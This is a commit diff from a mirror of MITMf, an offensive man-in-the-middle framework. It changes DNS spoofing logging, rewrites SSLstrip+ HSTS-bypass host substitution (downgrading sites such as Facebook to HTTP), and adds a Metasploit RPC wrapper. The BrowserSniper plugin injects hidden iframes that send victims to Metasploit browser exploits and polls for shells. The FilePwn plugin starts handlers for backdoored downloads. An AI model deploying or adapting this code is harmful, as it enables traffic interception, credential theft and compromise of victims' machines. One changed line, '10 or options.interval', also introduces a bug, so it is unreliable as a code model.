mirror of
https://github.com/byt3bl33d3r/MITMf.git
synced 2025-07-06 13:02:24 -07:00
Fixed a bug in SSLstrip+ code, when redirecting to certain sites
Created a wrapper class around Msfrpc to limit code re-use when interacting with msf
This commit is contained in:
parent
b9371f7cdc
commit
563a8d37c1
10 changed files with 141 additions and 126 deletions
|
@ -71,7 +71,7 @@ class DNSHandler():
|
||||||
d = DNSRecord.parse(data)
|
d = DNSRecord.parse(data)
|
||||||
|
|
||||||
except Exception, e:
|
except Exception, e:
|
||||||
dnschef_logger.info("{} ERROR: invalid DNS request".format(self.client_address[0]))
|
dnschef_logger.info("{} [DNSChef] Error: invalid DNS request".format(self.client_address[0]))
|
||||||
|
|
||||||
else:
|
else:
|
||||||
# Only Process DNS Queries
|
# Only Process DNS Queries
|
||||||
|
@ -115,7 +115,7 @@ class DNSHandler():
|
||||||
# Create a custom response to the query
|
# Create a custom response to the query
|
||||||
response = DNSRecord(DNSHeader(id=d.header.id, bitmap=d.header.bitmap, qr=1, aa=1, ra=1), q=d.q)
|
response = DNSRecord(DNSHeader(id=d.header.id, bitmap=d.header.bitmap, qr=1, aa=1, ra=1), q=d.q)
|
||||||
|
|
||||||
dnschef_logger.info("{} cooking the response of type '{}' for {} to {}".format(self.client_address[0], qtype, qname, fake_record))
|
dnschef_logger.info("{} [DNSChef] Cooking the response of type '{}' for {} to {}".format(self.client_address[0], qtype, qname, fake_record))
|
||||||
|
|
||||||
# IPv6 needs additional work before inclusion:
|
# IPv6 needs additional work before inclusion:
|
||||||
if qtype == "AAAA":
|
if qtype == "AAAA":
|
||||||
|
@ -184,7 +184,7 @@ class DNSHandler():
|
||||||
response = response.pack()
|
response = response.pack()
|
||||||
|
|
||||||
elif qtype == "*" and not None in fake_records.values():
|
elif qtype == "*" and not None in fake_records.values():
|
||||||
dnschef_logger.info("{} cooking the response of type '{}' for {} with {}".format(self.client_address[0], "ANY", qname, "all known fake records."))
|
dnschef_logger.info("{} [DNSChef] Cooking the response of type '{}' for {} with {}".format(self.client_address[0], "ANY", qname, "all known fake records."))
|
||||||
|
|
||||||
response = DNSRecord(DNSHeader(id=d.header.id, bitmap=d.header.bitmap,qr=1, aa=1, ra=1), q=d.q)
|
response = DNSRecord(DNSHeader(id=d.header.id, bitmap=d.header.bitmap,qr=1, aa=1, ra=1), q=d.q)
|
||||||
|
|
||||||
|
@ -259,7 +259,7 @@ class DNSHandler():
|
||||||
|
|
||||||
# Proxy the request
|
# Proxy the request
|
||||||
else:
|
else:
|
||||||
dnschef_logger.debug("[DNSChef] {} proxying the response of type '{}' for {}".format(self.client_address[0], qtype, qname))
|
dnschef_logger.debug("{} [DNSChef] Proxying the response of type '{}' for {}".format(self.client_address[0], qtype, qname))
|
||||||
|
|
||||||
nameserver_tuple = random.choice(nameservers).split('#')
|
nameserver_tuple = random.choice(nameservers).split('#')
|
||||||
response = self.proxyrequest(data, *nameserver_tuple)
|
response = self.proxyrequest(data, *nameserver_tuple)
|
||||||
|
@ -339,13 +339,13 @@ class DNSHandler():
|
||||||
sock.close()
|
sock.close()
|
||||||
|
|
||||||
except Exception, e:
|
except Exception, e:
|
||||||
dnschef_logger.warning("could not proxy request: {}".format(e))
|
dnschef_logger.warning("[DNSChef] Could not proxy request: {}".format(e))
|
||||||
else:
|
else:
|
||||||
return reply
|
return reply
|
||||||
|
|
||||||
def hstsbypass(self, real_domain, fake_domain, nameservers, d):
|
def hstsbypass(self, real_domain, fake_domain, nameservers, d):
|
||||||
|
|
||||||
dnschef_logger.info("{} resolving '{}' to '{}' for HSTS bypass".format(self.client_address[0], fake_domain, real_domain))
|
dnschef_logger.info("{} [DNSChef] Resolving '{}' to '{}' for HSTS bypass".format(self.client_address[0], fake_domain, real_domain))
|
||||||
|
|
||||||
response = DNSRecord(DNSHeader(id=d.header.id, bitmap=d.header.bitmap, qr=1, aa=1, ra=1), q=d.q)
|
response = DNSRecord(DNSHeader(id=d.header.id, bitmap=d.header.bitmap, qr=1, aa=1, ra=1), q=d.q)
|
||||||
|
|
||||||
|
@ -482,7 +482,7 @@ class DNSChef(ConfigWatcher):
|
||||||
self.startUDP()
|
self.startUDP()
|
||||||
except socket.error as e:
|
except socket.error as e:
|
||||||
if "Address already in use" in e:
|
if "Address already in use" in e:
|
||||||
shutdown("\n[-] Unable to start DNS server on port {}: port already in use".format(self.config['MITMf']['DNS']['port']))
|
shutdown("\n[DNSChef] Unable to start DNS server on port {}: port already in use".format(self.config['MITMf']['DNS']['port']))
|
||||||
|
|
||||||
# Initialize and start the DNS Server
|
# Initialize and start the DNS Server
|
||||||
def startUDP(self):
|
def startUDP(self):
|
||||||
|
|
|
@ -24,6 +24,9 @@ import msgpack
|
||||||
import logging
|
import logging
|
||||||
import requests
|
import requests
|
||||||
|
|
||||||
|
from core.configwatcher import ConfigWatcher
|
||||||
|
from core.utils import shutdown
|
||||||
|
|
||||||
logging.getLogger("requests").setLevel(logging.WARNING) #Disables "Starting new HTTP Connection (1)" log message
|
logging.getLogger("requests").setLevel(logging.WARNING) #Disables "Starting new HTTP Connection (1)" log message
|
||||||
|
|
||||||
class Msfrpc:
|
class Msfrpc:
|
||||||
|
@ -84,6 +87,55 @@ class Msfrpc:
|
||||||
except:
|
except:
|
||||||
raise self.MsfAuthError("MsfRPC: Authentication failed")
|
raise self.MsfAuthError("MsfRPC: Authentication failed")
|
||||||
|
|
||||||
|
class Msf:
|
||||||
|
'''
|
||||||
|
This is just a wrapper around the Msfrpc class,
|
||||||
|
prevents a lot of code re-use throught the framework
|
||||||
|
|
||||||
|
'''
|
||||||
|
def __init__(self):
|
||||||
|
try:
|
||||||
|
self.msf = Msfrpc({"host": ConfigWatcher.config['MITMf']['Metasploit']['rpcip']})
|
||||||
|
self.msf.login('msf', ConfigWatcher.config['MITMf']['Metasploit']['rpcpass'])
|
||||||
|
except Exception as e:
|
||||||
|
shutdown("[Msfrpc] Error connecting to Metasploit: {}".format(e))
|
||||||
|
|
||||||
|
def version(self):
|
||||||
|
return self.msf.call('core.version')['version']
|
||||||
|
|
||||||
|
def jobs(self):
|
||||||
|
return self.msf.call('job.list')
|
||||||
|
|
||||||
|
def jobinfo(self, pid):
|
||||||
|
return self.msf.call('job.info', [pid])
|
||||||
|
|
||||||
|
def killjob(self, pid):
|
||||||
|
return self.msf.call('job.kill', [pid])
|
||||||
|
|
||||||
|
def findpid(self, name):
|
||||||
|
jobs = self.jobs()
|
||||||
|
for pid, jobname in jobs.iteritems():
|
||||||
|
if name in jobname:
|
||||||
|
return pid
|
||||||
|
return None
|
||||||
|
|
||||||
|
def sessions(self):
|
||||||
|
return self.msf.call('session.list')
|
||||||
|
|
||||||
|
def sessionsfrompeer(self, peer):
|
||||||
|
sessions = self.sessions()
|
||||||
|
for n, v in sessions.iteritems():
|
||||||
|
if peer in v['tunnel_peer']:
|
||||||
|
return n
|
||||||
|
return None
|
||||||
|
|
||||||
|
def sendcommand(self, cmd):
|
||||||
|
#Create a virtual console
|
||||||
|
console_id = self.msf.call('console.create')['id']
|
||||||
|
|
||||||
|
#write the cmd to the newly created console
|
||||||
|
self.msf.call('console.write', [console_id, cmd])
|
||||||
|
|
||||||
if __name__ == '__main__':
|
if __name__ == '__main__':
|
||||||
|
|
||||||
# Create a new instance of the Msfrpc client with the default options
|
# Create a new instance of the Msfrpc client with the default options
|
||||||
|
|
|
@ -69,7 +69,7 @@ class ClientRequest(Request):
|
||||||
if self.hsts:
|
if self.hsts:
|
||||||
|
|
||||||
if 'referer' in headers:
|
if 'referer' in headers:
|
||||||
real = self.urlMonitor.getHstsConfig()[0]
|
real = self.urlMonitor.real
|
||||||
if len(real) > 0:
|
if len(real) > 0:
|
||||||
dregex = re.compile("({})".format("|".join(map(re.escape, real.keys()))))
|
dregex = re.compile("({})".format("|".join(map(re.escape, real.keys()))))
|
||||||
headers['referer'] = dregex.sub(lambda x: str(real[x.string[x.start() :x.end()]]), headers['referer'])
|
headers['referer'] = dregex.sub(lambda x: str(real[x.string[x.start() :x.end()]]), headers['referer'])
|
||||||
|
@ -120,7 +120,7 @@ class ClientRequest(Request):
|
||||||
client = self.getClientIP()
|
client = self.getClientIP()
|
||||||
path = self.getPathFromUri()
|
path = self.getPathFromUri()
|
||||||
url = 'http://' + host + path
|
url = 'http://' + host + path
|
||||||
self.uri = url # set URI to absolute
|
self.uri = url # set URI to absolute
|
||||||
|
|
||||||
if self.content:
|
if self.content:
|
||||||
self.content.seek(0,0)
|
self.content.seek(0,0)
|
||||||
|
@ -129,8 +129,8 @@ class ClientRequest(Request):
|
||||||
|
|
||||||
if self.hsts:
|
if self.hsts:
|
||||||
|
|
||||||
host = self.urlMonitor.URLgetRealHost(str(host))
|
host = self.urlMonitor.URLgetRealHost(str(host))
|
||||||
real = self.urlMonitor.getHstsConfig()[0]
|
real = self.urlMonitor.real
|
||||||
patchDict = self.urlMonitor.patchDict
|
patchDict = self.urlMonitor.patchDict
|
||||||
url = 'http://' + host + path
|
url = 'http://' + host + path
|
||||||
self.uri = url # set URI to absolute
|
self.uri = url # set URI to absolute
|
||||||
|
|
|
@ -16,7 +16,9 @@
|
||||||
# USA
|
# USA
|
||||||
#
|
#
|
||||||
|
|
||||||
import logging, re, string
|
import logging
|
||||||
|
import re
|
||||||
|
import string
|
||||||
|
|
||||||
from ServerConnection import ServerConnection
|
from ServerConnection import ServerConnection
|
||||||
from URLMonitor import URLMonitor
|
from URLMonitor import URLMonitor
|
||||||
|
@ -58,7 +60,7 @@ class SSLServerConnection(ServerConnection):
|
||||||
if v[:7].lower()==' domain':
|
if v[:7].lower()==' domain':
|
||||||
dominio=v.split("=")[1]
|
dominio=v.split("=")[1]
|
||||||
mitmf_logger.debug("[SSLServerConnection][HSTS] Parsing cookie domain parameter: %s"%v)
|
mitmf_logger.debug("[SSLServerConnection][HSTS] Parsing cookie domain parameter: %s"%v)
|
||||||
real = self.urlMonitor.getHstsConfig()[1]
|
real = self.urlMonitor.real
|
||||||
if dominio in real:
|
if dominio in real:
|
||||||
v=" Domain=%s"%real[dominio]
|
v=" Domain=%s"%real[dominio]
|
||||||
mitmf_logger.debug("[SSLServerConnection][HSTS] New cookie domain parameter: %s"%v)
|
mitmf_logger.debug("[SSLServerConnection][HSTS] New cookie domain parameter: %s"%v)
|
||||||
|
|
|
@ -105,7 +105,13 @@ class ServerConnection(HTTPClient):
|
||||||
|
|
||||||
def connectionMade(self):
|
def connectionMade(self):
|
||||||
mitmf_logger.debug("[ServerConnection] HTTP connection made.")
|
mitmf_logger.debug("[ServerConnection] HTTP connection made.")
|
||||||
self.clientInfo = hap.simple_detect(self.headers['user-agent'])
|
try:
|
||||||
|
self.clientInfo = hap.simple_detect(self.headers['user-agent'])
|
||||||
|
except KeyError as e:
|
||||||
|
mitmf_logger.debug("[ServerConnection] Client didn't send UA with request")
|
||||||
|
self.clientInfo = None
|
||||||
|
pass
|
||||||
|
|
||||||
self.plugins.hook()
|
self.plugins.hook()
|
||||||
self.sendRequest()
|
self.sendRequest()
|
||||||
self.sendHeaders()
|
self.sendHeaders()
|
||||||
|
@ -214,9 +220,7 @@ class ServerConnection(HTTPClient):
|
||||||
nuevaurl=self.urlMonitor.addSecureLink(self.client.getClientIP(), url)
|
nuevaurl=self.urlMonitor.addSecureLink(self.client.getClientIP(), url)
|
||||||
mitmf_logger.debug("[ServerConnection][HSTS] Replacing {} => {}".format(url,nuevaurl))
|
mitmf_logger.debug("[ServerConnection][HSTS] Replacing {} => {}".format(url,nuevaurl))
|
||||||
sustitucion[url] = nuevaurl
|
sustitucion[url] = nuevaurl
|
||||||
#data.replace(url,nuevaurl)
|
|
||||||
|
|
||||||
#data = self.urlMonitor.DataReemplazo(data)
|
|
||||||
if len(sustitucion)>0:
|
if len(sustitucion)>0:
|
||||||
dregex = re.compile("({})".format("|".join(map(re.escape, sustitucion.keys()))))
|
dregex = re.compile("({})".format("|".join(map(re.escape, sustitucion.keys()))))
|
||||||
data = dregex.sub(lambda x: str(sustitucion[x.string[x.start() :x.end()]]), data)
|
data = dregex.sub(lambda x: str(sustitucion[x.string[x.start() :x.end()]]), data)
|
||||||
|
|
|
@ -32,6 +32,8 @@ class URLMonitor:
|
||||||
# Start the arms race, and end up here...
|
# Start the arms race, and end up here...
|
||||||
javascriptTrickery = [re.compile("http://.+\.etrade\.com/javascript/omntr/tc_targeting\.html")]
|
javascriptTrickery = [re.compile("http://.+\.etrade\.com/javascript/omntr/tc_targeting\.html")]
|
||||||
_instance = None
|
_instance = None
|
||||||
|
sustitucion = dict()
|
||||||
|
real = dict()
|
||||||
patchDict = {
|
patchDict = {
|
||||||
'https:\/\/fbstatic-a.akamaihd.net':'http:\/\/webfbstatic-a.akamaihd.net',
|
'https:\/\/fbstatic-a.akamaihd.net':'http:\/\/webfbstatic-a.akamaihd.net',
|
||||||
'https:\/\/www.facebook.com':'http:\/\/social.facebook.com',
|
'https:\/\/www.facebook.com':'http:\/\/social.facebook.com',
|
||||||
|
@ -107,23 +109,24 @@ class URLMonitor:
|
||||||
port = 443
|
port = 443
|
||||||
|
|
||||||
if self.hsts:
|
if self.hsts:
|
||||||
if not self.getHstsConfig[1].has_key(host):
|
self.updateHstsConfig()
|
||||||
|
|
||||||
|
if not self.sustitucion.has_key(host):
|
||||||
lhost = host[:4]
|
lhost = host[:4]
|
||||||
if lhost=="www.":
|
if lhost=="www.":
|
||||||
self.getHstsConfig[1][host] = "w"+host
|
self.sustitucion[host] = "w"+host
|
||||||
self.getHstsConfig[0]["w"+host] = host
|
self.real["w"+host] = host
|
||||||
else:
|
else:
|
||||||
self.getHstsConfig[1][host] = "web"+host
|
self.sustitucion[host] = "web"+host
|
||||||
self.getHstsConfig[0]["web"+host] = host
|
self.real["web"+host] = host
|
||||||
mitmf_logger.debug("[URLMonitor][HSTS] SSL host ({}) tokenized ({})".format(host, self.getHstsConfig[1][host]))
|
mitmf_logger.debug("[URLMonitor][HSTS] SSL host ({}) tokenized ({})".format(host, self.sustitucion[host]))
|
||||||
|
|
||||||
url = 'http://' + host + path
|
url = 'http://' + host + path
|
||||||
#mitmf_logger.debug("HSTS stripped URL: %s %s"%(client, url))
|
|
||||||
|
|
||||||
self.strippedURLs.add((client, url))
|
self.strippedURLs.add((client, url))
|
||||||
self.strippedURLPorts[(client, url)] = int(port)
|
self.strippedURLPorts[(client, url)] = int(port)
|
||||||
|
|
||||||
return 'http://'+ self.getHstsConfig[1][host] + path
|
return 'http://'+ self.sustitucion[host] + path
|
||||||
|
|
||||||
else:
|
else:
|
||||||
url = method + host + path
|
url = method + host + path
|
||||||
|
@ -134,15 +137,10 @@ class URLMonitor:
|
||||||
def setFaviconSpoofing(self, faviconSpoofing):
|
def setFaviconSpoofing(self, faviconSpoofing):
|
||||||
self.faviconSpoofing = faviconSpoofing
|
self.faviconSpoofing = faviconSpoofing
|
||||||
|
|
||||||
def getHstsConfig(self):
|
def updateHstsConfig(self):
|
||||||
sustitucion = dict()
|
for k,v in ConfigWatcher.getInstance().config['SSLstrip+'].iteritems():
|
||||||
real = dict()
|
self.sustitucion[k] = v
|
||||||
|
self.real[v] = k
|
||||||
for k,v in ConfigWatcher.getInstance().getConfig()['SSLstrip+']:
|
|
||||||
sustitucion[k] = v
|
|
||||||
real[v] = k
|
|
||||||
|
|
||||||
return (real, sustitucion)
|
|
||||||
|
|
||||||
def setHstsBypass(self):
|
def setHstsBypass(self):
|
||||||
self.hsts = True
|
self.hsts = True
|
||||||
|
@ -158,10 +156,12 @@ class URLMonitor:
|
||||||
|
|
||||||
def URLgetRealHost(self, host):
|
def URLgetRealHost(self, host):
|
||||||
mitmf_logger.debug("[URLMonitor][HSTS] Parsing host: {}".format(host))
|
mitmf_logger.debug("[URLMonitor][HSTS] Parsing host: {}".format(host))
|
||||||
|
|
||||||
if self.getHstsConfig()[0].has_key(host):
|
self.updateHstsConfig()
|
||||||
mitmf_logger.debug("[URLMonitor][HSTS] Found host in list: {}".format(self.getHstsConfig()[0][host]))
|
|
||||||
return self.getHstsConfig()[0][host]
|
if self.real.has_key(host):
|
||||||
|
mitmf_logger.debug("[URLMonitor][HSTS] Found host in list: {}".format(self.real[host]))
|
||||||
|
return self.real[host]
|
||||||
|
|
||||||
else:
|
else:
|
||||||
mitmf_logger.debug("[URLMonitor][HSTS] Host not in list: {}".format(host))
|
mitmf_logger.debug("[URLMonitor][HSTS] Host not in list: {}".format(host))
|
||||||
|
|
|
@ -39,11 +39,11 @@ class BrowserProfiler(Inject, Plugin):
|
||||||
self.html_payload = self.get_payload()
|
self.html_payload = self.get_payload()
|
||||||
|
|
||||||
def post2dict(self, post): #converts the ajax post to a dic
|
def post2dict(self, post): #converts the ajax post to a dic
|
||||||
dict = {}
|
d = dict()
|
||||||
for line in post.split('&'):
|
for line in post.split('&'):
|
||||||
t = line.split('=')
|
t = line.split('=')
|
||||||
dict[t[0]] = t[1]
|
d[t[0]] = t[1]
|
||||||
return dict
|
return d
|
||||||
|
|
||||||
def clientRequest(self, request):
|
def clientRequest(self, request):
|
||||||
#Handle the plugin output
|
#Handle the plugin output
|
||||||
|
@ -62,4 +62,4 @@ class BrowserProfiler(Inject, Plugin):
|
||||||
|
|
||||||
def get_payload(self):
|
def get_payload(self):
|
||||||
plugindetect = open("./core/javascript/plugindetect.js", 'r').read()
|
plugindetect = open("./core/javascript/plugindetect.js", 'r').read()
|
||||||
return '<script type="text/javascript">\n' + plugindetect + '\n</script>'
|
return '<script type="text/javascript">' + plugindetect + '</script>'
|
||||||
|
|
|
@ -23,7 +23,7 @@ import random
|
||||||
import logging
|
import logging
|
||||||
|
|
||||||
from time import sleep
|
from time import sleep
|
||||||
from core.msfrpc import Msfrpc
|
from core.msfrpc import Msf
|
||||||
from core.utils import SystemConfig, shutdown
|
from core.utils import SystemConfig, shutdown
|
||||||
from plugins.plugin import Plugin
|
from plugins.plugin import Plugin
|
||||||
from plugins.BrowserProfiler import BrowserProfiler
|
from plugins.BrowserProfiler import BrowserProfiler
|
||||||
|
@ -42,20 +42,11 @@ class BrowserSniper(BrowserProfiler, Plugin):
|
||||||
self.msfip = SystemConfig.getIP(options.interface)
|
self.msfip = SystemConfig.getIP(options.interface)
|
||||||
self.sploited_ips = list() #store ip of pwned or not vulnerable clients so we don't re-exploit
|
self.sploited_ips = list() #store ip of pwned or not vulnerable clients so we don't re-exploit
|
||||||
|
|
||||||
msfcfg = self.config['MITMf']['Metasploit']
|
|
||||||
self.rpcip = msfcfg['rpcip']
|
|
||||||
self.rpcpass = msfcfg['rpcpass']
|
|
||||||
|
|
||||||
#Initialize the BrowserProfiler plugin
|
#Initialize the BrowserProfiler plugin
|
||||||
BrowserProfiler.initialize(self, options)
|
BrowserProfiler.initialize(self, options)
|
||||||
|
|
||||||
try:
|
msfversion = Msf().version()
|
||||||
self.msf = Msfrpc({"host": self.rpcip}) #create an instance of msfrpc libarary
|
self.tree_info.append("Connected to Metasploit v{}".format(msfversion))
|
||||||
self.msf.login('msf', self.rpcpass)
|
|
||||||
version = self.msf.call('core.version')['version']
|
|
||||||
self.tree_info.append("Connected to Metasploit v{}".format(version))
|
|
||||||
except Exception:
|
|
||||||
shutdown("[-] Error connecting to MSF! Make sure you started Metasploit and it's MSGRPC server")
|
|
||||||
|
|
||||||
def startThread(self, options):
|
def startThread(self, options):
|
||||||
self.snipe()
|
self.snipe()
|
||||||
|
@ -84,11 +75,7 @@ class BrowserSniper(BrowserProfiler, Plugin):
|
||||||
cmd += "set ExitOnSession False\n"
|
cmd += "set ExitOnSession False\n"
|
||||||
cmd += "exploit -j\n"
|
cmd += "exploit -j\n"
|
||||||
|
|
||||||
#Create a virtual console
|
Msf().sendcommand(cmd)
|
||||||
console_id = self.msf.call('console.create')['id']
|
|
||||||
|
|
||||||
#write the cmd to the newly created console
|
|
||||||
self.msf.call('console.write', [console_id, cmd])
|
|
||||||
|
|
||||||
return (rand_url, rand_port)
|
return (rand_url, rand_port)
|
||||||
|
|
||||||
|
@ -140,7 +127,7 @@ class BrowserSniper(BrowserProfiler, Plugin):
|
||||||
|
|
||||||
elif details['Plugin'].lower() == 'flash':
|
elif details['Plugin'].lower() == 'flash':
|
||||||
|
|
||||||
if (flash is not None) and (java in details['PluginVersions']):
|
if (flash is not None) and (flash in details['PluginVersions']):
|
||||||
exploits.append(exploit)
|
exploits.append(exploit)
|
||||||
|
|
||||||
mitmf_logger.debug("{} [BrowserSniper] Compatible exploits: {}".format(vic_ip, exploits))
|
mitmf_logger.debug("{} [BrowserSniper] Compatible exploits: {}".format(vic_ip, exploits))
|
||||||
|
@ -154,31 +141,23 @@ class BrowserSniper(BrowserProfiler, Plugin):
|
||||||
|
|
||||||
#The following will poll Metasploit every 2 seconds for new sessions for a maximum of 60 seconds
|
#The following will poll Metasploit every 2 seconds for new sessions for a maximum of 60 seconds
|
||||||
#Will also make sure the shell actually came from the box that we targeted
|
#Will also make sure the shell actually came from the box that we targeted
|
||||||
#probably a much cleaner way of doing this :/
|
|
||||||
mitmf_logger.info('{} [BrowserSniper] Waiting for ze shellz, sit back and relax...'.format(ip))
|
mitmf_logger.info('{} [BrowserSniper] Waiting for ze shellz, sit back and relax...'.format(ip))
|
||||||
exit_loop = False
|
|
||||||
poll_n = 1
|
poll_n = 1
|
||||||
while poll_n <= 30:
|
msf = Msf()
|
||||||
|
while poll_n != 30:
|
||||||
if exit_loop is True:
|
|
||||||
break
|
|
||||||
|
|
||||||
sessions = self.msf.call('session.list')
|
|
||||||
if sessions:
|
|
||||||
for k, v in sessions.iteritems():
|
|
||||||
if ip in sessions[k]['tunnel_peer']:
|
|
||||||
mitmf_logger.info("{} [BrowserSniper] Client haz been 0wn3d! Enjoy!".format(ip))
|
|
||||||
self.sploited_ips.append(ip)
|
|
||||||
self.black_ips = self.sploited_ips #Add to inject blacklist since box has been popped
|
|
||||||
exit_loop = True
|
|
||||||
break
|
|
||||||
|
|
||||||
|
if msf.sessionsfrompeer(ip):
|
||||||
|
mitmf_logger.info("{} [BrowserSniper] Client haz been 0wn3d! Enjoy!".format(ip))
|
||||||
|
self.sploited_ips.append(ip)
|
||||||
|
self.black_ips = self.sploited_ips #Add to inject blacklist since box has been popped
|
||||||
|
self.html_payload = self.get_payload() # restart the BrowserProfiler plugin
|
||||||
|
return
|
||||||
|
|
||||||
poll_n += 1
|
poll_n += 1
|
||||||
sleep(2)
|
sleep(2)
|
||||||
|
|
||||||
if exit_loop is False: #We didn't get a shell :(
|
mitmf_logger.info("{} [BrowserSniper] Session not established after 60 seconds".format(ip))
|
||||||
mitmf_logger.info("{} [BrowserSniper] Session not established after 60 seconds".format(ip))
|
|
||||||
|
|
||||||
self.html_payload = self.get_payload() # restart the BrowserProfiler plugin
|
self.html_payload = self.get_payload() # restart the BrowserProfiler plugin
|
||||||
|
|
||||||
def snipe(self):
|
def snipe(self):
|
||||||
|
@ -196,26 +175,20 @@ class BrowserSniper(BrowserProfiler, Plugin):
|
||||||
|
|
||||||
elif exploits and (vic_ip not in self.sploited_ips):
|
elif exploits and (vic_ip not in self.sploited_ips):
|
||||||
mitmf_logger.info("{} [BrowserSniper] Client vulnerable to {} exploits".format(vic_ip, len(exploits)))
|
mitmf_logger.info("{} [BrowserSniper] Client vulnerable to {} exploits".format(vic_ip, len(exploits)))
|
||||||
|
|
||||||
inject_payload = ''
|
inject_payload = ''
|
||||||
|
|
||||||
|
msf = Msf()
|
||||||
for exploit in exploits:
|
for exploit in exploits:
|
||||||
|
|
||||||
jobs = self.msf.call('job.list') #get running jobs
|
pid = msf.findpid(exploit)
|
||||||
if jobs:
|
if pid:
|
||||||
for pid, name in jobs.iteritems():
|
mitmf_logger.info('{} [BrowserSniper] {} already started'.format(vic_ip, exploit))
|
||||||
info = self.msf.call('job.info', [pid])
|
url = msf.jobinfo(pid)['uripath'] #get the url assigned to the exploit
|
||||||
if (exploit in info['name']):
|
inject_payload += "<iframe src='http://{}:{}{}' height=0%% width=0%%></iframe>".format(self.msfip, msfport, url)
|
||||||
mitmf_logger.info('{} [BrowserSniper] {} already started'.format(vic_ip, exploit))
|
|
||||||
url = info['uripath'] #get the url assigned to the exploit
|
|
||||||
inject_payload += "<iframe src='http://{}:{}{}' height=0%% width=0%%></iframe>".format(self.msfip, msfport, url)
|
|
||||||
else:
|
|
||||||
url, port = self._setupExploit(exploit, msfport)
|
|
||||||
inject_payload += "<iframe src='http://{}:{}{}' height=0%% width=0%%></iframe>".format(self.msfip, port, url)
|
|
||||||
else:
|
else:
|
||||||
url, port = self._setupExploit(exploit, msfport)
|
url, port = self._setupExploit(exploit, msfport)
|
||||||
inject_payload += "<iframe src='http://{}:{}{}' height=0%% width=0%%></iframe>".format(self.msfip, port, url)
|
inject_payload += "<iframe src='http://{}:{}{}' height=0%% width=0%%></iframe>".format(self.msfip, port, url)
|
||||||
|
|
||||||
self.injectAndPoll(vic_ip, inject_payload)
|
self.injectAndPoll(vic_ip, inject_payload)
|
||||||
|
|
||||||
sleep(1)
|
sleep(1)
|
||||||
|
|
|
@ -68,7 +68,7 @@ import multiprocessing
|
||||||
from libs.bdfactory import pebin
|
from libs.bdfactory import pebin
|
||||||
from libs.bdfactory import elfbin
|
from libs.bdfactory import elfbin
|
||||||
from libs.bdfactory import machobin
|
from libs.bdfactory import machobin
|
||||||
from core.msfrpc import Msfrpc
|
from core.msfrpc import Msf
|
||||||
from core.utils import shutdown
|
from core.utils import shutdown
|
||||||
from plugins.plugin import Plugin
|
from plugins.plugin import Plugin
|
||||||
from tempfile import mkstemp
|
from tempfile import mkstemp
|
||||||
|
@ -126,26 +126,15 @@ class FilePwn(Plugin):
|
||||||
self.zipblacklist = self.userConfig['ZIP']['blacklist']
|
self.zipblacklist = self.userConfig['ZIP']['blacklist']
|
||||||
self.tarblacklist = self.userConfig['TAR']['blacklist']
|
self.tarblacklist = self.userConfig['TAR']['blacklist']
|
||||||
|
|
||||||
#Metasploit options
|
msfversion = Msf().version()
|
||||||
msfcfg = self.config['MITMf']['Metasploit']
|
self.tree_info.append("Connected to Metasploit v{}".format(msfversion))
|
||||||
rpcip = msfcfg['rpcip']
|
|
||||||
rpcpass = msfcfg['rpcpass']
|
|
||||||
|
|
||||||
try:
|
t = threading.Thread(name='setupMSF', target=self.setupMSF)
|
||||||
msf = Msfrpc({"host": rpcip}) #create an instance of msfrpc libarary
|
t.setDaemon(True)
|
||||||
msf.login('msf', rpcpass)
|
t.start()
|
||||||
version = msf.call('core.version')['version']
|
|
||||||
self.tree_info.append("Connected to Metasploit v{}".format(version))
|
|
||||||
|
|
||||||
t = threading.Thread(name='setupMSF', target=self.setupMSF, args=(msf,))
|
|
||||||
t.setDaemon(True)
|
|
||||||
t.start()
|
|
||||||
except Exception:
|
|
||||||
shutdown("[-] Error connecting to MSF! Make sure you started Metasploit and its MSGRPC server")
|
|
||||||
|
|
||||||
def setupMSF(self, msf):
|
def setupMSF(self):
|
||||||
|
msf = Msf()
|
||||||
jobs = msf.call('job.list')
|
|
||||||
for config in [self.LinuxIntelx86, self.LinuxIntelx64, self.WindowsIntelx86, self.WindowsIntelx64, self.MachoIntelx86, self.MachoIntelx64]:
|
for config in [self.LinuxIntelx86, self.LinuxIntelx64, self.WindowsIntelx86, self.WindowsIntelx64, self.MachoIntelx86, self.MachoIntelx64]:
|
||||||
cmd = "use exploit/multi/handler\n"
|
cmd = "use exploit/multi/handler\n"
|
||||||
cmd += "set payload {}\n".format(config["MSFPAYLOAD"])
|
cmd += "set payload {}\n".format(config["MSFPAYLOAD"])
|
||||||
|
@ -154,21 +143,16 @@ class FilePwn(Plugin):
|
||||||
cmd += "set ExitOnSession False\n"
|
cmd += "set ExitOnSession False\n"
|
||||||
cmd += "exploit -j\n"
|
cmd += "exploit -j\n"
|
||||||
|
|
||||||
if jobs:
|
pid = msf.findpid('multi/handler')
|
||||||
for pid, name in jobs.iteritems():
|
if pid:
|
||||||
info = msf.call('job.info', [pid])
|
info = msf.jobinfo(pid)
|
||||||
if (info['name'] != "Exploit: multi/handler") or (info['datastore']['payload'] != config["MSFPAYLOAD"]) or (info['datastore']['LPORT'] != config["PORT"]) or (info['datastore']['lhost'] != config['HOST']):
|
if (info['datastore']['payload'] == config["MSFPAYLOAD"]) and (info['datastore']['LPORT'] == config["PORT"]) and (info['datastore']['lhost'] != config['HOST']):
|
||||||
#Create a virtual console
|
msf.killjob(pid)
|
||||||
c_id = msf.call('console.create')['id']
|
msf.sendcommand(cmd)
|
||||||
|
else:
|
||||||
#write the cmd to the newly created console
|
msf.sendcommand(cmd)
|
||||||
msf.call('console.write', [c_id, cmd])
|
|
||||||
else:
|
else:
|
||||||
#Create a virtual console
|
msf.sendcommand(cmd)
|
||||||
c_id = msf.call('console.create')['id']
|
|
||||||
|
|
||||||
#write the cmd to the newly created console
|
|
||||||
msf.call('console.write', [c_id, cmd])
|
|
||||||
|
|
||||||
def onConfigChange(self):
|
def onConfigChange(self):
|
||||||
self.initialize(self.options)
|
self.initialize(self.options)
|
||||||
|
|
|
@ -37,7 +37,7 @@ class ScreenShotter(Inject, Plugin):
|
||||||
has_opts = True
|
has_opts = True
|
||||||
|
|
||||||
def initialize(self, options):
|
def initialize(self, options):
|
||||||
self.interval = options.interval
|
self.interval = 10 or options.interval
|
||||||
Inject.initialize(self, options)
|
Inject.initialize(self, options)
|
||||||
self.html_payload = self.get_payload()
|
self.html_payload = self.get_payload()
|
||||||
|
|
||||||
|
@ -60,4 +60,4 @@ class ScreenShotter(Inject, Plugin):
|
||||||
return '<script type="text/javascript">' + canvas + '</script>'
|
return '<script type="text/javascript">' + canvas + '</script>'
|
||||||
|
|
||||||
def pluginOptions(self, options):
|
def pluginOptions(self, options):
|
||||||
